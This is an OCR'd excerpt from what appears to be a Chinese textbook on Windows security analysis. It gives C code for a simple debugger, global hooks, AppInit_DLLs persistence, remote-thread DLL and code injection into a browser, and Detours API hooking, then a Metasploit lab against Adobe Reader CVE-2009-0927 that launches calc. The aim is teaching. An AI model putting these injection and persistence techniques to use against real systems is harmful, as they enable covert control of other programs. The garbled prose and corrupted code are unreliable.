fprintf(stderr, "C:\\>%s <sample.exe>\n", argv[0]);
return 1;

}
memset (&pi, @, sizeof(pi));
memset(&si, 0, sizeof(si));

si.cb = sizeof(STARTUPINFO);

BOOL r = CreateProcess(




NULL, argv[1], NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED | DEBUG_PROCESS,
NULL, NULL, &si, &pi);
if(!r)
return -1;

ResumeThread(pi.hThread);
int process_counter = 0;

do{
DEBUG_EVENT de;
if(!WaitForDebugEvent(&de, INFINITE))
break;

DWORD dwContinueStatus = DBG_CONTINUE;

switch(de.dwDebugEventCode)

{

case CREATE_PROCESS DEBUG_EVENT:
process_counter++;
break;

case EXIT_PROCESS_DEBUG_EVENT:
process_counter--;
break;

case EXCEPTION DEBUG EVENT:
if(de.u.Exception.ExceptionRecord.ExceptionCode !=

EXCEPTION_BREAKPOINT)

{
dwContinueStatus = DBG_EXCEPTION NOT HANDLED;
}
exception_debug event(&de);
break;
}
ContinueDebugEvent (

de.dwProcessId, de.dwThreadId, dwContinueStatus);
}while(process_counter > 0);
CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);
return 0;




disas PRI DT HLARE S 24T Sl g, AERX BLIAMEA 1 udis86
FRITIRE o

exception_debug_event B =K AE R HEI 21T, HAPIEH T AR
A

e OpenProcess

ReadProcessMemory

OpenThread

GetThreadContext

SetThreadContext

X e E, BN WriteProcessMemory PR, it & U 1) HoAth
R T HAL,

7f Windows 1, BUMERATIIEF AR e HEE3E H st g L,
HELRe SR B hn i R i A, mltnT CABE & st 5 iz i AR =S 0] . 24
R, HETH P R BE AN PIARR, 1§ A OpenProcess <2, {HH
Befid o HAh A vEASRBGH AR AN, WR] DA B B 5z R B A7 2 1]

v OpenProcess PR %]

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320.aspx
HANDLE OpenProcess(

DWORD dwDesiredAccess, // ViR

BOOL bInheritHandle, /] FIRR AR AT

DWORD dwProcessId // HFEID

)5




£ exception_debug_event PRE T, T IREUR A S H I T AT 4R 2
P75 Z4F F ReadProcessMemory P %Y .

v ReadProcessMemory BX £{

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553.aspx
BOOL ReadProcessMemory (

HANDLE hProcess, /] EFEA]A

LPCVOID lpBaseAddress, // EEHGE G L

LPVOID lpBuffer, // AT AR g X
DWORD nSize, /] BEEEE AT

LPDWORD 1pNumberOfBytesRead // SEFRiszEUR) T4
)

¥ WriteProcessMemory b %}

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674.aspx
BOOL WriteProcessMemory(

HANDLE hProcess, /] HFEAIR
LPVOID lpBaseAddress, // B NELG
LPVOID 1pBuffer, /] BIEGEIX
DWORD nSize, /] BEENPFH

LPDWORD 1pNumberOfBytesWritten // SEFRE NMIFTEL
)

& MR A

F OpenThread T H 42 J5, 7]iHid GetThreadContext £/
SetThreadContext >K 13 5 & A7 4% o

T RATA TR EAE exception debug_event H o5 T A7 A AE, HUMEATE
ZLM H SetThreadContext A%, AN N T H 4 G IN0S A4 1)




BE, FATIERLRE 1 XX HHI R

v OpenThread %%}

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684335.aspx
HANDLE OpenThread(

DWORD dwDesiredAccess,// Vilalfridi

BOOL bInheritHandle, // HJ#i4k&ikin
DWORD dwThreadId // £RFEID
)s

Vv GetThreadContext P& %Y

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679362.aspx
BOOL GetThreadContext(

HANDLE hThread, /] PE LR CRIEFER)N

LPCONTEXT lpContext  // HUS b F3CHI4E A HhE
)

v SetThreadContext

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632.aspx
BOOL SetThreadContext(
HANDLE hThread, /7 A BT SRR AR

CONST CONTEXT *1pContext // A7/ L FCHIZEH AL
)

fil I IX 22 APT R B0t AT ME S T T AR HERE .




4.1.4 470 R G AS

FHIRAIRIZIT—F wdbg02a.exe (7] 3L
chap04\wdbg02a\Release) -

B, BATESE— N2 kAERERREF R I
chap04\wdbg02a\Release\test.exe) , AJEH X NMEFIENSECKIZAT
wdbg02a.exe.

V test.cpp

int main(int argc, char *argv[])

{
char *s = NULL;
*s = OxFF;
return 0;

}

\ BNl

C:\>wdbg@2a.exe test.exe
Exception: 773aefab (PID:7008, TID:8068)
773a0fac: 8975fc mov [ebp-0x4], esi
Reg: EAX=00000000 ECX=3e400000 EDX=0027e188 EBX=00000000
ESI=fffffffe EDI=00000000 ESP=003efa78 EBP=003efaa4d
Exception: 013b1002 (PID:7008, TID:8068)
013b1002: c600ff mov byte [eax], Oxff
Reg: EAX=00000000 ECX=71fb4714 EDX=00000000 EBX=00000000
ESI=00000001 EDI=013b36b8 ESP=003efeb8 EBP=003efef8

BATAT LA BI7E mov byte [eax], Oxff fIHh 77 KA T8 2 MR, X B
NYEARRS TR ) *s = OxFF; IX—4T. BXRIBITRII T .



4.2 FHAREREPEIT AR o AEEA

4.2.1  [A] HAT AR RS

HEHAMHE P EERERTF %, SRS E AN (code
injection) . fEf¥H DLL BITEHL T, —MRAA/E“DLL yEN”, (HHHAR
HREFIZAT B AR X — S SR T

B EANFM DLL VEANFIR 2 ik, HhWea g,

KT DLLVEAN, k& %0 CEM{/E“Three Ways to Inject Your Code
into Another Process” .

e Three Ways to Inject Your Code into Another Process

http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Y our-
Code-into-Another-Process

R CE A2 T =R 7, HSSAE SO EL 7 — S Ak, R
FATRAN AR LA

4.2.2 H] SetWindowsHookEx #] 2414 &
M= API pR &, FATt n] LB R RGtTH B

e SetWindowsHookEx

e CallNextHookEx

¢ UnhookWindowsHookEx

XL pR £ 2 Windows FI'E 77 APL, o] DUFH T HANEHE, o] DU Tk

FEo

v SetWindowsHookEx


http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Process

HHOOK SetWindowsHookEx (
int idHook, /] TR
HOOKPROC 1pfn, // BT
HINSTANCE hMod, [/ LR SE A 1R ) A
DWORD dwThreadId // ZFEID

)5

v CallNextHookEx

LRESULT CallNextHookEx(

HHOOK hhk, /] HETE TR EIRR

int nCode, /] AR AR AR
WPARAM wParam, /] ARIBEE T IR
LPARAM 1Param /] RIS T L R

)5

v UnhookWindowsHookEx

BOOL UnhookWindowsHookEx (
HHOOK hhk /1 EERRBRIIT R i R AR

)5

FHFERATKA—T SetWindowsHookEx (ALY W,
chapO4\writeappinit\loging) -

Vv loging.h

#ifdef LOGING_EXPORTS



#define LOGING_API extern "C" _ declspec(dllexport)
#else
#define LOGING_API extern "C" _ declspec(dllimport)
#endif

LOGING_API int CallSetWindowsHookEx(VOID);
LOGING_API int CallUnhookWindowsHookEx(VOID);

Vv loging.cpp

#include "stdafx.h"
#include "loging.h"

HHOOK g hhook = NULL;
static LRESULT WINAPI GetMsgProc(int code, WPARAM wParam, LPARAM
1Param)

{
}

return(CallNextHookEx(NULL, code, wParam, 1lParam));

LOGING_API int CallSetWindowsHookEx(VOID)

{
if(g_hhook != NULL)
return -1;

MEMORY_BASIC_INFORMATION mbi;

if(VirtualQuery(CallSetWindowsHookEx, &mbi, sizeof(mbi)) == 0)
return -1;

HMODULE hModule = (HMODULE) mbi.AllocationBase;

g _hhook = SetWindowsHookEx(

WH_GETMESSAGE, GetMsgProc, hModule, 0);
if(g_hhook == NULL)

return -1;

return 0;

}

LOGING_API int CallUnhookWindowsHookEx(VOID)
{




if(g_hhook == NULL)
return -1;

UnhookWindowsHookEx(g_hhook);
g_hhook = NULL;
return 0;

SetWindowsHookEx Ll B8 &5 I A% 33 25 i 1 i R RV S B3 oK,
LR 2 ZH e R iR ECR B T b3

loging.cpp F', FATTHF GetMsgProc W 11442, Ik RG0H BAELIE
e B AN E D28, &5 H GetMsgProc SR TANEE

GetMsgProc H i} T CallNextHookEx PR#(, IXHIVH S &k LiH5 T
— IR

XL APT fE FORENFFH B, (AR EZ S HAR A 1 o Rl S
AR 5t B HL AR > s AT DLL.

Z B AR, AT LA loging.cpp 2% e DLL (JEACHS I,
chapO4\writeappinit\loging) , #X)51dH SetWindowsHookEx, 1.5 4
Z4 (dwThreadld) & 0. XFE, FRATHLRT LARHRRA & L FE B2
MRN8 ¥, Wi b st 2 N #3411 DLL.

Vv dllmain.cpp

#tinclude "stdafx.h"

int WritelLog(TCHAR *szData)

{
TCHAR szTempPath[1024];

GetTempPath(sizeof(szTempPath), szTempPath);
lstrcat(szTempPath, "loging.log");

TCHAR szModuleName[1024];
GetModuleFileName(GetModuleHandle(NULL),




szModuleName, sizeof(szModuleName));

TCHAR szHead[1024];
wsprintf(szHead, "[PID:%d][Module:%s] ",
GetCurrentProcessId(), szModuleName);

HANDLE hFile = CreateFile(
szTempPath, GENERIC WRITE, ©, NULL,
OPEN_ALWAYS, FILE ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
return -1;

SetFilePointer(hFile, ©, NULL, FILE_END);

DWORD dwWriteSize;
WriteFile(hFile, szHead, lstrlen(szHead), &dwWriteSize, NULL);
WriteFile(hFile, szData, lstrlen(szData), &dwWriteSize, NULL);

CloseHandle(hFile);
return 0;

}

BOOL APIENTRY Dl1lMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved

)

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:
WriteLog("DLL_PROCESS_ATTACH\n");
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;

case DLL_PROCESS DETACH:
WriteLog("DLL_PROCESS_DETACH\n");
break;

}
return TRUE;




NHE AR dllmain.cpp IS, [F15E DLL Bz e,
7] %TEMP% H 4t — 144 A4 loging log ) H & . HEM NSRS
FERERE ID AR EL AR

# dllmain.cpp. loging.cpp 1 loging.h #4744 1%, RGRAEE H—
FEF, IN#EEX~ DLL 338 CallSetWindowsHookEx (JEACHE I,
chapO4\writeappinit\setwindowshook) -

Vv setwindowshook.cpp

#tinclude "stdafx.h"
#tinclude <Windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
if(argc < 2){
fprintf(stderr, "%s <DLL Name>\n", argv[e]);
return 1;

}

HMODULE h = LoadLibrary(argv[1l]);
if(h == NULL)
return -1;

int (__stdcall *fcall) (VOID);

fcall = (int (WINAPI *)(VOID))
GetProcAddress(h, "CallSetWindowsHookEx");

if(fcall == NULL){
fprintf(stderr, "ERROR: GetProcAddress\n");
goto Exit;

}

int (__stdcall *ffree) (VOID);
ffree = (int (WINAPI *)(VOID))

GetProcAddress(h, "CallUnhookWindowsHookEx");
if(ffree == NULL){

fprintf(stderr, "ERROR: GetProcAddress\n");

goto Exit;

}

if(fcall()){
fprintf(stderr, "ERROR: CallSetWindowsHookEx\n");
goto _Exit;

}

printf("Call SetWindowsHookEx\n");




getchar();

if(ffree()){

fprintf(stderr, "ERROR: CallUnhookWindowsHookEx\n");
goto _Exit;

}
printf("Call UnhookWindowsHookEx\n");

_Exit:
FreeLibrary(h);
return 9;

\ X RwIN i

C:\>setwindowshook.exe loging.dll
Call SetWindowsHookEx




THE FERE FFW BRAD #R0 o
DeEd & # B

HPID:Bﬁﬁ][HDdule:C:\Misetwindowshouk.exe] DLL_PROCESS_ATTACH

[PID: T5A] (Module: C: WWINDOWS \Explorer. EXE] DLL_PROCESS_ATTACH

[FID:34A4] Module: C: W WINDOWS svatem32 8 VEoxTray. exe] DLL PROCESS ATTACH

[FID:204] [Module: C: WWINDOWSY sv=tend2NCTFMON, EXE] DLL_FROCESS_ATTACH

[PID:3720] Module: Co A\ WINDOWS svatem32h conime. exe] DLL_PROCESS_ATTACH

[PID:T40] [Module:C:Program Files'\Common Files\JawahJawa Update’ jucheck. exe] DLL PROCESS ATTACH
[FID:2632] (Module:C: \WINDOWS  svetem32 W NOTEFLAD, EXE] DLL_PROCESS_ATTACH

[FID:2632] (Module:C: \WINDOWS  sv=tem32 W NOTEFLAD, EXE] DLL_PROCESS_DETACH

[PID:4008] (Module: C: \WINDOWS  svstem32trundl132, exe] DLL_PROCESS_ATTACH

[FID:2484] Module:C:hProgram FilestWindows NTAccessoriest WORDPLAD. EXE] DLL PEOCESS ATTACH
[FID:4003] [Module:C: W WINDOWS  sveten32hrundl 132, exe] DLL_PROCESS_DETACH

[PID:24A4] Module:C:W\Program FilestWindows NTWAcceszories \WORDFPAD. EXE] DLL_PROCESS_DETACH
[FID:2132] (Module:C:\Program Files'\Windows NT\Accessories \WORDPAD. EXE] DLL_PROCESS_ATTACH
[FID:2132] (Module:C:\Program Files'\Windows NT\iccessories \WORDFAD, EXE] DLL_PROCESS_DETACH
[FID:2532] (Module:C:\Program Files'Windows Media Playver=etup_wm. exe] DLL_PROCESS_ATTACH
[PID:2532] (Module:C:\Program Filez'Windows Media Player‘setup_vwm. exe] DLL_PROCESS_DETACH
[FID:216] [Module:C:AProgram Files'\Windows NThAccessories\WOEDPAD, EXE] DLL PROCESS ATTACH
[FID:936] [Module:C: "\ Myzetwindowshook. exe] DLL_PROCESS_DETACH

[FID:75A] [Module:C: \WINDOWS Explorer. EXE] DLL_PROCESS _DETACH

C
C
C
C
C
C
C
C
C
C

A T4 R

FTH C:\Documents and Settings\Campers\Local Settings\Temp\loging.log
AE, BATATLAEEINE DLL ®IHE (Windows Vista [ UL _ERRAS ) £
gk, EASCHALT C:\Users\ 1 44

\AppData\Local\Temp\loging.log) . AR LLEF], HAhSEFE & mE
7 loging.dll.

4.2.3 ¥ DLL 12 hC & 2)VEM R 1 AppInit_DLLs i
SetWindowsHookEx 1] PAFEE FH K DLL Wess 21 b g b, Ak an 5
PATKE: DLL B4R AL & 7EyE M 2 1 AppInit_DLLs JiH, vl AfE R4
B Eh AT & DLL hnak 3 Hd gk,

IZ1T regedit, FKE| T IHIFTEEAL

HKEY_LOCAL_MACHINE\
SOFTWARE\
Microsoft\
Windows NT\
CurrentVersion\




Windows\
AppInit_DLLs 70X BIHEDLLIZE, LIEE46E
LoadAppInit DLLs AppInit DLLs/AH/ZEHtrE

Windows XP H13%f LoadApplnit_DLLs iX— .

4k, 7F Windows 7 H, £ | —NHIY/E RequireSignedApplnit_DLLs H
I, X —IER A i in#E&id 2544 1 DLL.

25T Applnit_DLLs FJ 7415 152 ). MSDN FIAH <M 5T .
e Applnit_DLLs in Windows 7 and Windows Server 2008 R2

https://msdn.microsoft.com/en-us/library/dd744762.aspx

1E 64 fL RS H, 5T 32 ARE T BUAH S E T 5 € 7 2]
Wow6432Node H»

HKEY_LOCAL_MACHINE\
SOFTWARE\
Wow6432Node\
Microsoft\
Windows NT\
C
urrentVersion\
Windows\
AppInit DLLs EX BIEDLLERE, LLES kR
LoadAppInit DLLs AppInit_ DLLs/H M /22HbrE

Applnit_DLLs F FrfC & 1) DLL s2ifid user32.dll SRINE, KL, XFT
JEA AR CRINEED user32.dll fUBEFER I, X B & LR
(JEALAS I chapO4\writeappinit\writeappinit)



https://msdn.microsoft.com/en-us/library/dd744762.aspx

V¥ writeappinit.cpp

#tinclude "stdafx.h"
#tinclude <Windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
if(argc < 2){
fprintf(stderr, "%s <DLL Name>\n", argv[e]);
return 1;

}

HKEY hKey;

LSTATUS 1Result = RegOpenKeyEx(HKEY_ LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
NULL, KEY_ALL_ACCESS, &hKey);

if(1lResult != ERROR_SUCCESS){
printf("Error: RegOpenKeyEx failed.\n");
return -1;

}

DWORD dwSize, dwType;
TCHAR szDl1Name[256];

RegQueryValueEx(hKey,

"AppInit DLLs", NULL, &dwType, NULL, &dwSize);
RegQueryValueEx(hKey,

"AppInit_DLLs", NULL, &dwType, (LPBYTE)szDllName, &dwSize);
printf("AppInit DLLs: %s -> ", szDllName);
lstrcpy(szDl1lName, argv[1]);

1Result = RegSetValueEx(hKey, "AppInit_DLLs",

@, REG_SZ, (PBYTE)szDllName, lstrlen(szDllName) + 1);
if(1Result != ERROR_SUCCESS){

printf("Error: RegSetValueEx failed.\n");

}

RegQueryValueEx(hKey,

"AppInit_DLLs", NULL, &dwType, NULL, &dwSize);
RegQueryValueEx(hKey,

"AppInit DLLs", NULL, &dwType, (LPBYTE)szDllName, &dwSize);
printf("%s\n", szDllName);

RegCloseKey(hKey);
return 0;
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4.2.4 8 1 CreateRemoteThread 7F At i 2 b 1) i 2k 4

FATPT LA CreateRemoteThread X API p& E07E HoAth BEFE 0 A1) R 26 2,
XA R BT DLAE FT 262 P12 4T LoadLibrary, M {845 HoAth 33E A4 55 1)
# > DLL,

HANDLE CreateRemoteThread(

HANDLE hProcess, // HEFEEIRR
LPSECURITY_ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize, /] RRAIGEKE (FHED

LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter, /] AR SR
DWORD dwCreationFlags, // flidhr&
LPDWORD 1pThreadId // TR FEIDIRE!

)

A, XBRA AW, A2 LoadLibrary H)ZHUb 04 T H bRk 2
&R, K, LoadLibrary Fr s 2 S8 FT & AT S0 B AN H bRt
PN AEZE T (ARSI chapO4\dllinjection\dllinjection) -

V injectcode.h

int InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath);
int InjectDLLtoProcessFromPid (DWORD dwPid, TCHAR *szDllPath);
int InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath);

EH =R A TREW R
e InjectDLLtoProcessFromName

AT PAT SCPF A4 3R BAH DL HERE FFE N DLL




e InjectDLLtoProcessFromPid

L MEHERE 1D $BAH ML BERE F T DLL
e InjectDLLtoNewProcess

AR FHEA DLL

Vv dllinjection.cpp

#include "stdafx.h"
#include <tlhelp32.h>
#include "dllinjection.h"

DWORD GetProcessIdFromName(TCHAR *szTargetProcessName)

{
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(hSnap == INVALID HANDLE_VALUE)
return 0;

PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);

DWORD dwProcessId = 0;
BOOL bResult = Process32First(hSnap, &pe);

while(bResult){
if(!1lstrcmp(pe.szExeFile, szTargetProcessName)){
dwProcessId = pe.th32ProcesslID;

break;
}
bResult = Process32Next(hSnap, &pe);
}
CloseHandle(hSnap);

return dwProcessId;

int InjectDLL(HANDLE hProcess, TCHAR *szDl1lPath)
int szDllPathLen = 1strlen(szDllPath) + 1;

PWSTR RemoteProcessMemory = (PWSTR)VirtualAllocEx(hProcess,
NULL, szDllPathLen, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);




int

if(RemoteProcessMemory == NULL)
return -1;

BOOL bRet = WriteProcessMemory(hProcess,

RemoteProcessMemory, (PVOID)szDllPath, szDllPathLen, NULL);
if(bRet == FALSE)

return -1;

PTHREAD START_ROUTINE pfnThreadRtn;
pfnThreadRtn = (PTHREAD START ROUTINE)GetProcAddress(
GetModuleHandle("kernel32"), "LoadLibraryA");
if(pfnThreadRtn == NULL)
return -1;

HANDLE hThread = CreateRemoteThread(hProcess, NULL, O,
pfnThreadRtn, RemoteProcessMemory, ©, NULL);
if(hThread == NULL)
return -1;

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess,
RemoteProcessMemory, szDllPathLen, MEM_RELEASE);

CloseHandle(hThread);
return 0;

InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath)

HANDLE hProcess = OpenProcess(
PROCESS CREATE_THREAD | PROCESS VM READ | PROCESS VM WRITE |
PROCESS_VM_OPERATION | PROCESS QUERY_ INFORMATION , FALSE, dwPid);
if(hProcess == NULL)
return -1;
/*
BOOL bJudgeWow64;
IsWow64Process(hProcess, &bJudgeWow64);
if(bJudgeWow64 == FALSE){
CloseHandle(hProcess);
return -1;
}
*/
if(InjectDLL(hProcess, szDllPath))
return -1;

CloseHandle(hProcess);
return 9;




}

int

{

int

int

InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDl11lPath)

DWORD dwPid = GetProcessIdFromName(szTarget);
if(dwPid == 0)
return -1;
if(InjectDLLtoExistedProcess(dwPid, szDllPath))
return -1;
return 0;

InjectDLLtoProcessFromPid (DWORD dwPid, TCHAR *szD1l1lPath)

if(InjectDLLtoExistedProcess(dwPid, szDllPath))
return -1;
return 0;

InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath)

STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);

BOOL bResult = CreateProcess(NULL, szCommandLine, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if(bResult == FALSE)
return -1;

int nRet =
/*
BOOL bJudgeWow64;
IsWowb4Process(pi.hProcess, &bJudgeWow64);
if(bJudgeWow64 == FALSE)

goto _Exit;
*/
if(InjectDLL(pi.hProcess, szDllPath))

goto Exit;

1;

nRet = 9;

_Exit:

ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);




return nRet;
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chap04\dllinjection\sampledll) .
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4.2.5 JFEANKRE

NI 4 FkAITH CreateRemoteThread i 4 | LoadLibrary. 498, MY &
DLL, RERMIGEBRATEE R (XS FREH 2 H AN, 5t
A LA CreateRemoteThread SRiz 17

&K, BAPKRE X IE (32 fZhitA) FEA func BREIF] 5 (JEAR

fih I, chapO4\codeinjection\codeinjection) -

V¥ codeinjection.cpp

#tinclude "stdafx.h"
#tinclude <windows.h>

typedef HWND (WINAPI *GETFORGROUNDWINDOW)(void);
typedef int (WINAPI *MSGBOX)(HWND, PCTSTR, PCTSTR, UINT);

typedef struct _injectdata {

TCHAR szTitle[32];

TCHAR szMessage[32];

HANDLE hProcess;

PDWORD pdwCodeRemote;

PDWORD pdwDataRemote;

MSGBOX fnMessageBox;

GETFORGROUNDWINDOW fnGetForegroundWindow;
} INJECTDATA, *PINJECTDATA;

static DWORD WINAPI func(PINJECTDATA myAPI)

{
myAPI->fnMessageBox ( (HWND)myAPI->fnGetForegroundWindow(),
myAPI->szMessage, myAPI->szTitle, MB_OK);

/*
if(myAPI->pCodeRemote != NULL)
VirtualFreeEx(myAPI->hProcess,




myAPI->pCodeRemote, ©, MEM RELEASE);
if(myAPI->pDataRemote != NULL)

VirtualFreeEx(myAPI->hProcess,

myAPI->pDataRemote, @, MEM_RELEASE);
*/

return 0;

int _tmain(int argc, _TCHAR* argv[])

HMODULE h = LoadLibrary("user32.dll");
if(h == NULL){
printf("ERR: LoadlLibrary\n");
return -1;

}

INJECTDATA id;

id.fnGetForegroundWindow = (GETFORGROUNDWINDOW)
GetProcAddress(
GetModuleHandle("user32"), "GetForegroundWindow");

id.fnMessageBox = (MSGBOX)
GetProcAddress(
GetModuleHandle("user32"), "MessageBoxA");

lstrcpy(id.szTitle, "Message");
lstrcpy(id.szMessage, "Hello World!");

HWND hTarget = FindWindow("IEFrame", NULL);
if(hTarget == NULL){

printf("ERR: FindWindow\n");

goto _END1;
}

DWORD dwPID; // PID of iexplore.exe
GetWindowThreadProcessId(hTarget, (DWORD *)&dwPID);
id.hProcess = OpenProcess(PROCESS CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS VM READ, FALSE, dwPID);
if(id.hProcess == NULL){
printf("ERR: OpenProcess\n");
goto _END1;
}

DWORD dwlLen;
if((id.pdwCodeRemote = (PDWORD)VirtualAllocEx(id.hProcess,




0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)

printf("ERR: VirtualAllocEx(pdwCodeRemote)\n");
goto _END2;
}
if((id.pdwDataRemote = (PDWORD)VirtualAllocEx(id.hProcess,
®, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
{
printf("ERR: VirtualAllocEx(pdwDataRemote)\n");
goto _END3;
}

WriteProcessMemory(id.hProcess,

id.pdwCodeRemote, &func, 4096, &dwlLen);
WriteProcessMemory(id.hProcess,

id.pdwDataRemote, &id, sizeof(INJECTDATA), &dwlLen);

HANDLE hThread = CreateRemoteThread(id.hProcess, NULL, O,
(LPTHREAD_START_ROUTINE)id.pdwCodeRemote, id.pdwDataRemote,
0, &dwlLen);

if(hThread == NULL){
printf("ERR: CreateRemoteThread\n");
goto END4;

}

WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD)&dwPID);
CloseHandle(hThread);

END4 :

VirtualFreeEx(id.hProcess, id.pdwDataRemote, ©, MEM RELEASE);
_END3:

VirtualFreeEx(id.hProcess, id.pdwCodeRemote, ©, MEM_RELEASE);
_END2:

CloseHandle(id.hProcess);
_END1:

FreeLibrary(h);

return 0;
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4.3.1 API #F [ Fh Y

WA AT 2HE, AERE P i NN SRR Oy <8 5, T A API
NN EERR N “APL #577

API 8§ KAR b 73 iR A
o NH HbrREIT LA T
e 5 IAT (Import Address Table, 3 AHLIEF)

Hod AT 2444 7-4F Advanced Windows —- G VEANFH, G M
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e Advanced Windows
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e Detours
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#ifdef DETOURSHOOK_ EXPORTS

#tdefine DETOURSHOOK_API _ declspec(dllexport)
#else

#define DETOURSHOOK_API _ declspec(dllimport)
#endif

DETOURSHOOK_API int WINAPI HookedMessageBoxA(HWND hWnd,
LPCTSTR 1lpText, LPCTSTR lpCaption, UINT uType);

Vv dllmain.cpp

#include "stdafx.h"
#include "detours.h"
#tinclude "detourshook.h"

static int (WINAPI * TrueMessageBoxA)(HWND hWnd, LPCTSTR lpText,
LPCTSTR 1lpCaption, UINT uType) = MessageBoxA;

DETOURSHOOK_API int WINAPI HookedMessageBoxA(HWND hWnd,
LPCTSTR 1lpText, LPCTSTR lpCaption, UINT uType)

{
int nRet = TrueMessageBoxA(hWnd, lpText, "Hooked Message", uType);
return nRet;

}

int D1lProcessAttach(VOID)

{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueMessageBoxA, HookedMessageBoxA);
if(DetourTransactionCommit() != NO_ERROR)

return -1;

return 0;

}

int D11ProcessDetach(VOID)

DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueMessageBoxA, HookedMessageBoxA);




DetourTransactionCommit();
return 0;

}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_ call,
LPVOID lpReserved

)

switch (ul _reason_for_call)

{

case DLL_PROCESS_ATTACH:
D11ProcessAttach();
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD DETACH:
break;

case DLL_PROCESS_DETACH:
D11ProcessDetach();
break;

}
return TRUE;

TR GRS AT B user32.d11 5 H [ BRi T MessageBoxA £ ik
HookedMessageBoxA. 15 KGR B SCAF AN 2 TAE o IF 9 P8

e detours.cpp
e detours.h

e disasm.cpp
e modules.cpp

e detver.h
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BNHE, 258 DetourTransactionBegin Al DetourUpdateThread, #X /)5
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HookedMessageBoxA BRI E( 1 AN #8421 A TrueMessageBoxA, 542 Ji
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chap04\detourshook\helloworld) -

V¥ helloworld.cpp

#tinclude "stdafx.h"
#tinclude <Windows.h>

int _tmain(int argc, _TCHAR* argv[])

{
HMODULE h = LoadLibrary("detourshook.dl1l");
MessageBoxA(GetForegroundWindow(),
"Hello World! using MessageBoxA", "Message", MB_OK);
FreeLibrary(h);
return 0;
}
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5.1.1 {4 /& Metasploit Framework

Metasploit Framework & —/NF T 4E sl 47 B RIS I HE SR, 1%
f&] %%y Metasploit. XA~ T.HA Windows Al Linux ki, 8% FH R UE
ANV A KA )R

e Metasploit

https://www.rapid7.com/products/metasploit/
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5.1.2 24w AE Bk
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&5 CVE - CVE-2009-0927 *
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Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8
before 8.1.3 , and 7 before 7.1.1 allows remote attackers to execute arbitrary code
via a crafted argument to the getlcon method of a Collab object, a different
vulnerability than CVE-2009-0658.

MNote: References are provided for the convenience of the reader to help distinguish between
vulnerabilities. The list is not intended to be complete.
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SRR RE A Ao

X)L Adobe M Java FRIJRTFASER 1), AL IRATIEA AT LUK 35 _E3REL
2 SERCAS A

e Adobe Archive

ftp://ftp.adobe.com/pub/adobe/reader/win/

e Oracle Java Archive

http://www.oracle.com/technetwork/java/archive-139210.html

APATES A2 )5, win] BLA] Metasploit KICA-IXANR 1 o


http://www.oracle.com/technetwork/java/archive-139210.html

5.1.4 F|HRIA AT E

Metasploitﬁﬁziﬁﬁm BT EEEAR S, B BB
I AREAMERT o BRAT I 22 TTIRIE S WA B 5%

Metasploit [P35 F X1 & M e 7 SUECE TR S B . T
Metasploit Console Z J&, HEFZMCH FHIH]F R4 A ar 2 8im LA T

e Metasploit Auxiliary Module & Exploit Database (DB)
http://www.rapid7.com/db/modules/
e Adobe Collab.getlcon() Buffer Overflow
http://www.rapid7.com/db/vulnerabilities/suse-cve-2009-0927
NHFEATH CVE-2009-0927 K23k —F .
4G, M Adobe Archive H % Adobe Reader v9.0 Jf %%

SXJ5, J33)) Metasploit Console, f A FEM ¥ ar<, BE/EHEE FaBiR
H— AN REE U M 2 B RS ) URL.

RE A LUK XA URL AEMG R a7 m, 107 L% PDF SCH4-F5 A
Adobe Reader 7 H. FIEas Vi ny, FFEHITIRE, 1ENEES HBFT
H Adobe Reader.

BATAME, 377 PDF X2 ), S b2 5 ) Windows 115 4%
REFF o


http://www.rapid7.com/db/modules/
http://www.rapid7.com/db/vulnerabilities/suse-cve-2009-0927

b System Gonsole

File Edit “iew Help

z-reshbh oe

Metazploit Pro Conso. System Console

[Version 5.1.2600]
101 Microscft Corp.

v mefpayload wvindows/exec CMD=calc.ex

n=fpayload windows/exec CHD=calc.ex
nin

